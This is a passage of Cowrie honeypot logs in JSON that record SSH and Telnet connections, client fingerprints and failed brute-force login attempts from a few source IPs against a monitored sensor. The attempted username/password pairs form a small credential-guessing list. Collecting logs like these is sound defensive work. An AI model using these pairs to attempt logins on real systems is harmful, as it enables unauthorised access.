hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:33.204469Z","src_ip":"45.156.87.253","session":"4326d0668c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:33.523292Z","src_ip":"45.156.87.253","session":"4326d0668c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:34.608027Z","src_ip":"45.156.87.253","session":"4326d0668c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41962,"dst_ip":"10.17.0.5","dst_port":22,"session":"14f28acea4d1","protocol":"ssh","message":"New connection: 45.156.87.253:41962 (10.17.0.5:22) [session: 14f28acea4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:36.539843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:36.542776Z","src_ip":"45.156.87.253","session":"14f28acea4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:36.624411Z","src_ip":"45.156.87.253","session":"14f28acea4d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:36.869223Z","src_ip":"45.156.87.253","session":"14f28acea4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:38.020882Z","src_ip":"45.156.87.253","session":"14f28acea4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":59808,"dst_ip":"10.17.0.5","dst_port":22,"session":"f725b3fa5afe","protocol":"ssh","message":"New connection: 208.109.189.255:59808 (10.17.0.5:22) [session: f725b3fa5afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:39.726162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:39.729413Z","src_ip":"208.109.189.255","session":"f725b3fa5afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:39.795746Z","src_ip":"208.109.189.255","session":"f725b3fa5afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ab77adf8d1","protocol":"ssh","message":"New connection: 45.156.87.253:53476 (10.17.0.5:22) [session: a1ab77adf8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:39.835205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:39.844080Z","src_ip":"45.156.87.253","session":"a1ab77adf8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:39.924405Z","src_ip":"45.156.87.253","session":"a1ab77adf8d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B33fy#S3cur3!W0rd","message":"login attempt [root/B33fy#S3cur3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:40.006107Z","src_ip":"208.109.189.255","session":"f725b3fa5afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:40.168492Z","src_ip":"45.156.87.253","session":"a1ab77adf8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:41.073076Z","src_ip":"208.109.189.255","session":"f725b3fa5afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:41.251922Z","src_ip":"45.156.87.253","session":"a1ab77adf8d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53494,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e0efccdbd48","protocol":"ssh","message":"New connection: 45.156.87.253:53494 (10.17.0.5:22) [session: 9e0efccdbd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:43.393344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:43.397113Z","src_ip":"45.156.87.253","session":"9e0efccdbd48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:43.477385Z","src_ip":"45.156.87.253","session":"9e0efccdbd48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:43.723831Z","src_ip":"45.156.87.253","session":"9e0efccdbd48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:44.807809Z","src_ip":"45.156.87.253","session":"9e0efccdbd48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53518,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e106da0c06","protocol":"ssh","message":"New connection: 45.156.87.253:53518 (10.17.0.5:22) [session: 67e106da0c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:46.741260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:46.745107Z","src_ip":"45.156.87.253","session":"67e106da0c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:46.825196Z","src_ip":"45.156.87.253","session":"67e106da0c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:47.066837Z","src_ip":"45.156.87.253","session":"67e106da0c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:48.150286Z","src_ip":"45.156.87.253","session":"67e106da0c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56742,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb33041e23a","protocol":"ssh","message":"New connection: 45.156.87.253:56742 (10.17.0.5:22) [session: afb33041e23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:50.058103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:50.063749Z","src_ip":"45.156.87.253","session":"afb33041e23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:50.145351Z","src_ip":"45.156.87.253","session":"afb33041e23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:50.554429Z","src_ip":"45.156.87.253","session":"afb33041e23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:51.637909Z","src_ip":"45.156.87.253","session":"afb33041e23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.338679313659668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:53.121192Z","src_ip":"72.167.226.244","session":"55b22e6732cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56756,"dst_ip":"10.17.0.5","dst_port":22,"session":"862578e5c717","protocol":"ssh","message":"New connection: 45.156.87.253:56756 (10.17.0.5:22) [session: 862578e5c717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:53.524995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:53.529253Z","src_ip":"45.156.87.253","session":"862578e5c717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:53.609307Z","src_ip":"45.156.87.253","session":"862578e5c717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:53.850531Z","src_ip":"45.156.87.253","session":"862578e5c717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:54.936244Z","src_ip":"45.156.87.253","session":"862578e5c717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56770,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d548a097a3","protocol":"ssh","message":"New connection: 45.156.87.253:56770 (10.17.0.5:22) [session: e2d548a097a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:56.837670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:56.841018Z","src_ip":"45.156.87.253","session":"e2d548a097a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:56.921101Z","src_ip":"45.156.87.253","session":"e2d548a097a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:57.161966Z","src_ip":"45.156.87.253","session":"e2d548a097a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:58.245169Z","src_ip":"45.156.87.253","session":"e2d548a097a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.191517114639282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:58.328056Z","src_ip":"72.167.226.244","session":"c456d6652ea3","protocol":"telnet"}
